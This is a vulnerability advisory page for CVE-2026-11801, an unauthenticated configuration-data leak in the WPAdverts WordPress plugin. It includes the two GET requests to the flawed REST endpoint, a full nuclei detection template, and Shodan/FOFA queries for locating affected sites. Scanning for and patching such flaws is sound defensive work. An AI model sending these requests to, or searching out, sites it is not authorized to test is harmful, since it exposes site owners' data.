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CVE-2026-11801· developer / wpadverts· CWE-862

WPAdverts <= 2.3.2 - Information Disclosure

highseverity
7.5CVSS score
1.6%likelihood of exploitation, next 30 days
77%of all CVEs are less likely
Readycheck to confirm it

WPAdverts – Classifieds Plugin for WordPress <= 2.3.2 contains an authorization bypass caused by improper user authorization verification in classifieds-types REST endpoint, letting unauthenticated attackers retrieve internal site configuration data, exploit requires no authentication.

Impact

Unauthenticated attackers can access internal site configuration data, potentially exposing sensitive information about the site setup.

Fix

Update to the latest version beyond 2.3.2.

How to confirm it

Send: GET /wp-json/wpadverts/v1/classifieds-types ; GET /?rest_route=/wpadverts/v1/classifieds-types
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "\"form_schemes_default\"", "\"meta__adverts_email\"", "\"post_type\"", "\"data\"")

Run it with nuclei: nuclei -id CVE-2026-11801 -u <target>

The full check
id: CVE-2026-11801

info:
  name: WPAdverts <= 2.3.2 - Information Disclosure
  author: 0x_Akoko
  severity: high
  description: |
    WPAdverts – Classifieds Plugin for WordPress <= 2.3.2 contains an authorization bypass caused by improper user authorization verification in classifieds-types REST endpoint, letting unauthenticated attackers retrieve internal site configuration data, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access internal site configuration data, potentially exposing sensitive information about the site setup.
  remediation: |
    Update to the latest version beyond 2.3.2.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/37bb8d68-dd87-437a-80e5-e99e93dc55b6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-11801
    - https://plugins.trac.wordpress.org/changeset?reponame=&new=3635095%40wpadverts%2Ftrunk&old=3557928%40wpadverts%2Ftrunk
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-11801
    epss-score: 0.01642
    epss-percentile: 0.76616
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: developer
    product: wpadverts
    framework: wordpress
    shodan-query: http.html:"wp-content/plugins/wpadverts"
    fofa-query: body="wp-content/plugins/wpadverts"
  tags: cve,cve2026,wpadverts,wp,wordpress,wp-plugin,exposure

http:
  - raw:
      - |
        GET /wp-json/wpadverts/v1/classifieds-types HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /?rest_route=/wpadverts/v1/classifieds-types HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"form_schemes_default\"", "\"meta__adverts_email\"", "\"post_type\"", "\"data\"")'
        condition: and

References

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